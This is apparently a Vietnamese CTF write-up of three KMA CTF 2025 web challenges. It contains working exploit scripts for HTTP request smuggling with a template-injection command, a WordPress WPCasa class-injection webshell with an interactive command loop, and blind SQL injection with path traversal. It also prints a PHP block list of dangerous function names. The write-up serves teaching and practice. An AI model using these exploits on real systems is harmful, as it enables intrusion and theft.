Đến với cách khai thác sử dụng HTTP request smuggling, mình có đọc được bài research [HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) của PortSwigger nên làm dễ dàng hơn rất nhiều.
Trong phần mô tả của thử thách nhắc tới chunk, nên mình đã nghĩ tới khai thác request smuggling sử dụng `Transfer-Encoding: chunked`. Ở bài research có đề cập tới bài viết [Exploit chunk extensions (TE.TE)](https://w4ke.info/2025/06/18/funky-chunks.html), nó đã chỉ rõ Apache Traffic Server dính lỗ hổng request smuggling:

Mình tìm kiếm thì cũng xác định được Apache Traffic Server phiên bản `10.0.4` mà challenge sử dụng có [CVE-2024-53868](https://nvd.nist.gov/vuln/detail/CVE-2024-53868), cho phép request smuggling nếu gửi đi một malformed chunk request.
Đôi nét về payload request smuggling **terminator-extension** (`TERM.EXT`) được sử dụng. Nó hoạt động là do cơ chế parsing khác nhau giữa proxy và server (parsing discrepancy) khi xử lý request có header `Transfer-Encoding: chunked`.
Proxy sẽ coi `\n` là kết thúc phần chunk header, trong khi server lại coi đó là một phần của chunk extension nằm trong chunk header. Từ đó, server sẽ nhận được request thứ 2:

Tiến hành khai thác, do không thấy được response nên mình thay đổi payload một chút, lệnh sẽ tạo folder `uploads/foo` và ghi flag vào file `uploads/foo/flag`:
```html
{{ lipsum.__globals__.os.popen('mkdir uploads/foo; cat /f* > uploads/foo/flag').read() }}
```

Như ở bên dưới:
- Proxy sẽ hiểu `2;\n` là chunk header, `xx\r\n` là chunk body, `64\r\n` là chunk header mới và chunk body là toàn bộ nội dung phía dưới nó.
- Server lại hiểu `2;\nxx\r\n` là chunk header và `64\r\n` là chunk body.
Do đó mà chúng ta có thể chỉ định thêm một request trong chunk thứ 2 mà không bị proxy chặn, trong khi server vẫn có thể hiểu:

Gửi request tới `/uploads/foo/flag` và lụm flag:

Script khai thác:
```python=
import requests
from http.client import HTTPConnection
import re
HOST, PORT = "localhost", 8188
HOST, PORT = "165.22.55.200", 50001
URL = f"http://{HOST}:{PORT}"
def upload_file():
file = {
"file": (
"exploit.html",
"""{{ lipsum.__globals__.os.popen("mkdir uploads/foo; cat /f* > uploads/foo/flag").read() }}""",
)
}
r = requests.post(url=f"{URL}/upload", files=file)
filepath = re.search(r"uploads/[^\s<]+", r.text).group(0)
return filepath
def smuggle(filepath):
conn = HTTPConnection(HOST, PORT)
# HEAD, PUT, OPTIONS, PATCH, PROXY, TCP, TCP4, TCP6, FOO
conn.putrequest("HEAD", "/render")
conn.putheader("Transfer-Encoding", "chunked")
conn.endheaders()
data = b"2;\n"
data += b"xx\r\n"
data += b"64\r\n"
data += b"0\r\n\r\n"
data += b"GET /render?filepath=" + filepath.encode() + b" HTTP/1.1\r\n\r\n"
conn.send(data)
conn.getresponse()
def bypass_proxy(filepath):
param = {"filepath": filepath}
requests.get(url=f"{URL}/%2frender", params=param)
def read_flag():
r = requests.get(url=f"{URL}/uploads/foo/flag")
return r.text
if __name__ == "__main__":
filepath = upload_file()
smuggle(filepath)
# unintended
# bypass_proxy(filepath)
print(f"[+] FLAG {read_flag()}")
```
### Flag
`KMACTF{HTTP/1.1_Must_Di3_or_Not?????}`
## CVE-2025-93XX
> 1day exploit for 1 hour?
>
> P/s: remember activate 2 plugins
>
> author: **meulody**
>
> https://wordpress.wargame.vn
>
> [wordpress-6.8.2.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/wordpress-6.8.2.zip)
### Solution
Challenge này liên quan tới khai thác [CVE-2025-9321](https://nvd.nist.gov/vuln/detail/CVE-2025-9321) của plugin [WPCasa](https://wpcasa.com) trong WordPress. Tác giả cũng tạo thêm một plugin **Safe PHP Class Upload** để tạo điều kiện cho chúng ta khai thác CVE này.

Nội dung file `Dockerfile` mình dùng để dựng Docker:
```dockerfile
FROM php:8.4-apache
# Install system dependencies
RUN apt-get update && apt-get install -y \
libpng-dev \
libjpeg-dev \
libfreetype6-dev \
libzip-dev \
libicu-dev \
libonig-dev \
libxml2-dev \
unzip \
&& rm -rf /var/lib/apt/lists/*
# Configure and install PHP extensions required by WordPress
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install -j$(nproc) \
gd \
mysqli \
pdo_mysql \
zip \
intl \
mbstring \
xml \
opcache
# Enable Apache mod_rewrite for WordPress permalinks
RUN a2enmod rewrite
# Set recommended PHP.ini settings for WordPress
RUN { \
echo 'opcache.memory_consumption=128'; \
echo 'opcache.interned_strings_buffer=8'; \
echo 'opcache.max_accelerated_files=4000'; \
echo 'opcache.revalidate_freq=2'; \
echo 'opcache.fast_shutdown=1'; \
echo 'opcache.enable_cli=1'; \
} > /usr/local/etc/php/conf.d/opcache-recommended.ini
RUN { \
echo 'file_uploads=On'; \
echo 'memory_limit=256M'; \
echo 'upload_max_filesize=64M'; \
echo 'post_max_size=64M'; \
echo 'max_execution_time=300'; \
} > /usr/local/etc/php/conf.d/wordpress.ini
RUN pecl install xdebug \
&& docker-php-ext-enable xdebug
COPY php.ini /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
WORKDIR /var/www/html
EXPOSE 80
CMD ["apache2-foreground"]
```
Nội dung của file `php.ini`:
```ini=
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=host.docker.internal
```
Tạo file `compose.yaml`:
```yaml=
services:
wordpress:
build: ./src
ports:
- "1337:80"
volumes:
- "./src:/var/www/html"
depends_on:
- mysql
environment:
WORDPRESS_DB_HOST: mysql
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
mysql:
image: mysql
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: rootpassword
volumes:
- mysql_data:/var/lib/mysql
volumes:
mysql_data:
```
Chạy lệnh dưới để build Docker:
```sh
docker compose up -d
```

Cài đặt một số thông tin và nhấn "Install WordPress":

Sau khi đăng nhập với admin thành công, chúng ta cần activate 2 plugins để có thể khai thác:

Tạo file cấu hình `.vscode/launch.json` trong VS Code để có thể debug:
```json
{
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9003,
"pathMappings": {
"/var/www/html/": "${workspaceFolder}/src"
}
}
]
}
```
Theo mô tả của challenge, mình tìm được [CVE-2025-9321](https://zeropath.com/blog/cve-2025-9321-wpcasa-wordpress-plugin-code-injection-summary) của plugin **WPCasa**, cho phép khai thác Code Injection.
Đọc source tại `wp-content/plugins/wpcasa/includes/class-wpsight-api.php`, mình thấy giá trị lấy từ tham số `wpsight-api` được dùng để khởi tạo class nếu class đó tồn tại:

Chức năng của plugin **Safe PHP Class Upload**:
- Tạo thêm một REST API route `safe-upload/v1/upload` (<font color="orange">line 18-27</font>):
- Cho phép tối đa 64 ký tự trong file (<font color="orange">line 95-97</font>).
- Chỉ có thể tải lên file chứa định nghĩa của class (<font color="orange">line 104-106</font>).
- Nội dung không được chứa các hàm nguy hiểm được chỉ định trong mảng `$dangerous` để tránh RCE (<font color="orange">line 108-111</font>).
- File tải lên chỉ được lưu với extension là `.txt` (<font color="orange">line 113-114</font>).
```php=
<?php
/*
Plugin Name: Safe PHP Class Upload (read-only, non-executable)
Description: A plugin to safely upload PHP class files for review, without executing them. Files are stored as .txt to prevent execution.
Version: 0.1
Author: meulody
*/
if (!defined('ABSPATH')) {
exit;
}
class Safe_Class_Uploader
{
const SAFE_UPLOAD_DIR = 'uploads_safe_classes';
const MAX_FILE_SIZE = 64;
public function __construct()
{
add_action('rest_api_init', function () {
register_rest_route('safe-upload/v1', '/upload', array(
'methods' => 'POST',
'callback' => array($this, 'handle_upload'),
'permission_callback' => '__return_true'
));
});
}
private function ensure_dir()
{
$dir = self::SAFE_UPLOAD_DIR;
if (!is_dir($dir)) {
if (!@mkdir($dir, 0750, true)) {
return new WP_Error('dir_error', 'Could not create safe storage directory on server.', array('status' => 500));
}
}
return true;
}
private function has_dangerous_tokens($content)
{
$dangerous = array(
'exit(',
'die(',
'file(',
'echo(',
'print(',
'printf(',
'print_r(',
'var_dump(',
'var_export(',
'debug_zval_dump(',
'encode(',
'decode(',
'exec(',
'system(',
'shell_exec(',
'passthru(',
'proc_open(',
'eval(',
'assert(',
'`',
'contents(',
'open(',
'bin2hex(',
'serialize(',
'htmlspecialchars(',
'htmlentities(',
'unlink(',
'rename(',
'goto ',
'new ',
'copy ('
);
$hay = strtolower($content);
foreach ($dangerous as $tok) {
if (strpos($hay, $tok) !== false)
return $tok;
}
return false;
}
public function handle_upload(\WP_REST_Request $request)
{
$ok = $this->ensure_dir();
if (is_wp_error($ok))
return $ok;
$files = $request->get_file_params();
if (empty($files['file'])) {
return new WP_Error('no_file', 'Could not find upload file (field name = file).', array('status' => 400));
}
$file = $files['file'];
if ($file['size'] > self::MAX_FILE_SIZE) {
return new WP_Error('too_big', 'File is too large.', array('status' => 400));
}
$content = file_get_contents($file['tmp_name']);
if ($content === false) {
return new WP_Error('read_error', 'Could not read temporary file.', array('status' => 500));
}
if (!preg_match('/class\s+[A-Za-z0-9_]+/i', $content)) {
return new WP_Error('no_class', 'File does not contain a valid class declaration.', array('status' => 400));
}
$bad = $this->has_dangerous_tokens($content);
if ($bad !== false) {
return new WP_Error('dangerous_code', 'File contains dangerous token: ' . $bad, array('status' => 400));
}
$filename = pathinfo($file['name'], PATHINFO_FILENAME) . '.txt';
$fullpath = rtrim(self::SAFE_UPLOAD_DIR, '/') . '/' . $filename;
if (file_put_contents($fullpath, $content) === false) {
return new WP_Error('write_err', 'Could not save the safe file.', array('status' => 500));
}
@chmod($fullpath, 0644);
return rest_ensure_response(array(
'status' => 'ok',
'message' => 'Upload successful.',
));
}
}
new Safe_Class_Uploader();
```
Tuyệt vời, kết hợp với lỗ hổng Code Injection của plugin **WPCasa** cho phép khởi tạo một class tuỳ ý nếu class đó tồn tại, chúng ta sẽ tải lên một class có method `__construct()` để khi khởi tạo sẽ gọi method này và chạy code bên trong nó.
Nội dung của file mà mình tải lên, ở đây mình dùng tag PHP `<?` để đỡ vượt 64 ký tự:
```php
<?class K{function __construct(){$_GET[0]($_GET[1]);}}
```
> [!Note]
> Mình sử dụng `$_GET` để lấy tên hàm cũng như đối số của nó từ tham số `0`, `1` trên URL. Lý do là ở trong PHP có thể gọi hàm bằng cách bọc tên hàm trong chuỗi, ví dụ như `"system"("id")`.
Do chưa làm nhiều về WordPress, mình cứ loay hoay mãi không biết tại sao lại không truy cập được vào API với `/wp-json`, thì ra là phải kích hoạt Pretty Permalinks. Tham khảo tại:
- https://wordpress.stackexchange.com/questions/314808/why-does-wp-json-not-work-on-the-plain-permalink-structure
- https://wordpress.org/documentation/article/customize-permalinks
Chúng ta có thể xem tất cả các routes bằng cách truy cập vào `/?rest_route=/`:

Để gọi được tới API tải lên file, chúng ta truy cập `/?rest_route=/safe-upload/v1/upload` với method POST:

Để dễ dàng tải lên file thì mình dùng lệnh `curl` và gửi request qua proxy:
```sh
$ curl -x 0:8080 -F "file=@exploit.php" 'http://localhost:1337/?rest_route=/safe-upload/v1/upload'
{"status":"ok","message":"Upload successful."}
```

Xác nhận code chạy thành công với request `/?wpsight-api=K&0=sleep&1=5`:

Script khai thác:
```python=
import requests
URL = "http://localhost:1337"
URL = "https://wordpress.wargame.vn"
def upload_class():
file = {
"file": (
"exploit.php",
"""<?class K{function __construct(){$_GET[0]($_GET[1]);}}""",
)
}
r = requests.post(
url=f"{URL}", params={"rest_route": "/safe-upload/v1/upload"}, files=file
)
print(r.json()["message"])
def rce():
while True:
cmd = input("$ ").strip()
if cmd == "exit":
exit(0)
params = {"wpsight-api": "K", "0": "system", "1": f"{cmd} > wp-content/output"}
requests.get(url=f"{URL}", params=params)
r = requests.get(url=f"{URL}/wp-content/output")
print(r.text)
if __name__ == "__main__":
upload_class()
rce()
```
### Flag
`KMACTF{Y3s_it's__1dayupload_php_class_4nd_ex3cut3_it_⚆_⚆}`
## Data Lost Prevention
> Joke kể chuyện:
>
> Một buổi sáng, anh kỹ sư IT phát hiện hệ thống Data Loss Prevention báo động đỏ: “File log bị lộ!”. Cả phòng họp nhốn nháo, ai cũng tưởng do gán nhầm quyền truy cập. Một anh khác cười khẩy:
>
> – “Chắc lại ai để chmod 777 rồi!”
>
> Nhưng khi kiểm tra kỹ, hóa ra không phải lỗi người, mà là một lỗ hổng dịch vụ. Kẻ xấu chỉ cần gõ đúng URL là có thể xem hết log. Trong đó toàn ghi chép: ai gửi mail, ai copy file, thậm chí còn thấy mấy lần sếp thử chặn... nhưng thất bại.
>
> Một chị trong phòng cười phá lên:
>
> – “May mà log chưa ghi lại vụ tôi lỡ tay tải phim về máy công ty!”
>
> Cả nhóm tái mặt nhưng lại phì cười, bởi đúng là log này chẳng khác nào “nhật ký bí mật” của cả cơ quan. Cuối cùng, giải pháp được đưa ra: vá lỗ hổng, mã hóa log, và thêm một quy định mới – “Đọc log phải ký cam kết không được kể lại chuyện cười trong đó”.
>
> author: **meulody**
>
> https://dlp.wargame.vn
>
> [data-lost-prevention.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/data-lost-prevention.zip)
### Solution

Challenge này sau khi kết thúc giải mình mới làm được, hơi tiếc một chút do nó không quá khó.
Đây là một challenge liên quan tới khai thác lỗ hổng SQL Injection, mà cụ thể hơn là ở dạng Boolean-based SQL Injection. Từ đó, có thể đọc được flag bằng cách tận dụng Path Traversal.
Chúng ta được cung cấp source code, sau khi unzip được thư mục với cấu trúc như sau:
```text
data_lost_prevention
├── db
│ └── init
│ ├── 001_schema.sql
│ └── 002_seed.sql
├── docker-compose.yml
├── flags
├── init_flag.sh
├── logs
│ └── app.log
├── readme.txt
└── web
├── Dockerfile
├── src
│ ├── api
│ │ └── search.php
│ ├── attachments.php
│ ├── cases.php
│ ├── export-ui.php
│ ├── export.php
│ ├── index.php
│ ├── init_flag.php
│ └── lib
│ ├── db.php
│ └── util.php
└── start.sh
```
Mình đọc file `readme.txt` trước tiên, thấy có 2 lệnh để chạy Docker và thực thi `./init-flag.sh` khởi tạo flag, file này hướng dẫn chúng ta cách dựng challenge ở local:
```text
docker-compose up -d
chmod +x ./init-flag.sh && ./init-flag.sh
```
Nội dung của file `init-flag.sh`, nó sẽ chạy code PHP với lệnh `php /var/www/html/init_flag.php` bên trong container `web`:
```sh
#!/bin/bash
set -e
docker exec -it web php /var/www/html/init_flag.php
```
Tiếp tục đọc file `init_flag.php`, nó thực hiện ghi đường dẫn của file chứa flag vào cột `storage_path` trong bảng `attachments`:
```php=
<?php
declare(strict_types=1);
require __DIR__ . '/lib/db.php';
function uuidv4(): string {
$data = random_bytes(16);
$data[6] = chr((ord($data[6]) & 0x0f) | 0x40);
$data[8] = chr((ord($data[8]) & 0x3f) | 0x80);
$hex = bin2hex($data);
return sprintf('%s-%s-%s-%s-%s',
substr($hex,0,8), substr($hex,8,4), substr($hex,12,4), substr($hex,16,4), substr($hex,20,12));
}
$chk = $pdo->query("SELECT COUNT(*) AS c FROM attachments WHERE is_lost=1");
$has = $chk ? (int)$chk->fetch()['c'] : 0;
if ($has > 0) {
exit(0);
}
$uuid = uuidv4();
$dir = '/var/data/flags';
@mkdir($dir, 0755, true);
$flagPath = $dir . '/flag-' . $uuid . '.txt';
$flagVal = "KMACTF{hehe}\n";
file_put_contents($flagPath, $flagVal);
$stmt = $pdo->prepare("INSERT INTO attachments(case_id, filename, storage_path, is_lost) VALUES (1, ?, ?, 1)");
$stmt->execute(['Q2-incident-raw.csv', $flagPath]);
exit(0);
```
Xem file `docker-compose.yml`, có 02 services là `db` và `web`. Database sử dụng MySQL, truy cập vào web thông qua port `8081`:
```yaml=
version: '3.8'
services:
db:
image: mysql:8.2
container_name: db
environment:
MYSQL_DATABASE: casetrack
MYSQL_USER: ctf
MYSQL_PASSWORD: ctfpass
MYSQL_ROOT_PASSWORD: rootpass
command: [
"--sql-mode=STRICT_TRANS_TABLES,NO_ZERO_DATE,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO"
]
volumes:
- ./db/init:/docker-entrypoint-initdb.d
web:
build: ./web
container_name: web
ports:
- "8081:80"
restart: unless-stopped
volumes:
- ./web/src/:/var/www/html/
- ./flags:/var/data/flags
- ./logs:/var/log/app
depends_on:
- db
environment:
- DB_HOST=db
- DB_NAME=casetrack
- DB_USER=ctf
- DB_PASS=ctfpass
```
Ở file `api/search.php` tồn tại lỗ hổng SQL Injection, dữ liệu chúng ta kiểm soát qua tham số `q`. Nó sẽ được loại bỏ tất cả các khoảng trắng (<font color="orange">line 10</font>), loại bỏ các từ `or`, `and` không phân biệt hoa thường (<font color="orange">line 11</font>), loại bỏ `union`, `load_file`, `outfile` và `=` không phân biệt hoa thường.
Sau khi xử lý, chuỗi sẽ được gán vào biến `$filtered` (<font color="orange">line 13</font>), giới hạn độ dài tối đa là 90 ký tự và đưa trực tiếp vào câu truy vấn (<font color="orange">line 20</font>):
```php=
<?php
declare(strict_types=1);
require __DIR__ . '/../lib/util.php';
require __DIR__ . '/../lib/db.php';
header('Content-Type: application/json');
$q = $_GET['q'] ?? '';
$q2 = preg_replace('/\s+/u', '', $q);
$q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2);
$q2 = str_ireplace(["union","load_file","outfile","="], '', $q2);
$filtered = $q2;
if (strlen($filtered) > 90) {
echo json_encode(['ok' => false]);
exit;
}
$sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1";
$stmt = $pdo->prepare($sql);
$stmt->execute([':uid' => $_SESSION['uid'] ?? 1]);
$row = $stmt->fetch();
usleep(random_int(1500, 5000));
echo json_encode(['ok' => (bool)$row]);
```
Có thể thấy tại file `export.php` cho phép chúng ta đọc file tuỳ ý. Tên file được lấy từ tham số `file` và loại bỏ đi hết các chuỗi `../` (<font color="orange">line 8-10</font>). Server chỉ cho phép đọc file có extension là `.log` và `.txt` (<font color="orange">line 12-15</font>). Sau đó tên file sẽ được decode URL và nối vào `/var/log/app/` (<font color="orange">line 17-18</font>). Vậy có thể nghĩ ngay tới việc encode URL 2 lần để bypass Path Traversal.
```php=
<?php
declare(strict_types=1);
$base = '/var/log/app/';
$file = $_GET['file'] ?? 'app.log';
while (str_contains($file, '../')) {
$file = str_replace('../', '', $file);
}
if (!preg_match('/\.(log|txt)$/i', $file)) {
http_response_code(400);
exit('bad ext');
}
$file2 = urldecode($file);
$path = $base . $file2;
$real = realpath($path);
if ($real !== false && str_starts_with($real, $base)) {
@readfile($real);
exit;
}
if (str_starts_with($path, $base)) {
@readfile($path);
} else {
http_response_code(403);
echo 'forbidden';
}
```
Như vậy, flow khai thác sẽ là SQL Injection ở `api/search.php` để lấy tên file flag, sau đó đọc flag ở `export.php`.
Tiến hành khai thác, mình dựng Docker và chạy lệnh dưới để khởi tạo flag trước:
```sh
$ docker exec -it web php /var/www/html/init_flag.php
```
Kiểm tra ở container `web` và ở database đã thấy tạo flag thành công:


Chúng ta sẽ khai thác Boolean-based SQL Injection do server trả về `true` hoặc `false` phụ thuộc vào câu truy vấn có trả về dữ liệu nào hay không (`echo json_encode(['ok' => (bool)$row]);`).
- Bypass khoảng trắng: Sử dụng `/**/` hoặc `()`.
- Bypass `or`, `and`: Sử dụng `||` hoặc `&&`.
Mình sẽ thử với subquery thông thường trước để brute-force chuỗi uuid trong tên file flag. Do có thêm giới hạn về độ dài của payload, để payload ngắn hơn, mình dùng hàm `MID()` thay vì `SUBSTR()` hay `SUBSTRING()` để cắt ký tự và so sánh ký tự sẽ dùng toán tử `LIKE`.
> [!Note]
> MySQL không phân biệt hoa thường khi so sánh, trong trường hợp cần phân biệt hoa thường thì chúng ta có thể dùng toán tử [BINARY](https://dev.mysql.com/doc/refman/8.4/en/cast-functions.html).

Thay vì dùng `/**/` cần 4 ký tự, mình chọn `()` để bypass khoảng trắng:
```sql
SELECT id,title FROM cases WHERE title RLIKE '.*'&&(SELECT(MID(storage_path,22,1))LIKE('7')FROM(attachments));
```

Thử gửi request, chú ý encode URL dấu `&&` thành `%26%26` và dấu `#` thành `%23` (để comment lại dấu `'` trong câu query gốc). Khi điều kiện đúng, tức là ký tự khớp, kết quả trả về `true`:

Còn khi điều kiện sai, ký tự không khớp, `false` được trả về:

Cứ thử lần lượt như trên với các vị trí tiếp theo trong tên file, khi tìm được tên file, chúng ta chỉ cần thêm `..%252F..%252F..%252F` vào trước đường dẫn tới file flag để bypass Path Traversal.
Để khai thác nhanh chóng, mình viết script bên dưới:
> [!Note]
> Do gửi request với module `requests`, nó tự động encode URL nên chúng ta chỉ cần sử dụng `..%2F..%2F..%2F`.
```python=
import requests
import string
URL = "http://localhost:8081"
URL = "https://dlp.wargame.vn"
charset = string.ascii_lowercase + string.digits + "-"
flag_path_test = "/var/data/flags/flag-7f06dfa9-c590-4cb4-baba-55c746c132f4.txt"
def get_flag_path():
flag_path = "/var/data/flags/flag-"
start = len(flag_path) + 1
end = len(flag_path_test[:-4]) + 1
for i in range(start, end):
for char in charset:
param = {
"q": f"'&&(SELECT(MID(storage_path,{i},1))LIKE('{char}')FROM(attachments))#"
}
r = requests.get(url=f"{URL}/api/search.php", params=param)
if r.json()["ok"]:
flag_path += char
print(flag_path)
break
return flag_path + ".txt"
def read_flag(flag_path):
param = {"file": "..%2F..%2F..%2F" + flag_path}
r = requests.get(url=f"{URL}/export.php", params=param)
return r.text
if __name__ == "__main__":
flag_path = get_flag_path()
print(f"[+] FLAG: {read_flag(flag_path)}")
```
### Flag
`KMACTF{i'M_bL1nd_bUt_u_'r3_Sm4rZZZZ}`
## Lời Kết
Qua giải KMA CTF 2025 lần II này, mình nhận thấy bản thân vẫn còn rất tâm lý, không có đủ sự bình tĩnh để phân tích và giải challenge khi thấy những người chơi khác đã giải được challenge đó. Thêm nữa, mình cũng đọc các bài viết phân tích lỗ hổng liên quan đến challenge không kỹ nên tốc độ giải challenge bị chậm đi rất nhiều.
Mình ghi chú lại những điều này để tự nhắc bản thân sẽ không mắc phải nó nữa trong tương lai, từ đó có thể đạt được một kết quả tốt hơn.
Và cuối cùng, mình cảm ơn các bạn đã đọc bài viết, mình hy vọng nó sẽ giúp ích phần nào cho các bạn trong hành trình theo đuổi mảng Web Exploitation. 🔥
<img src="https://hackmd.io/_uploads/r1xgmA8hgl.jpg"
alt="KCSC"
style="display:block; margin:0 auto; max-width:25%;">
<p style="color: orange; text-align: center; font-weight: bold">
KMA Cyber Security Club
</p>
<p style="color: orange; text-align: center;">
Make KMA Greater
</p>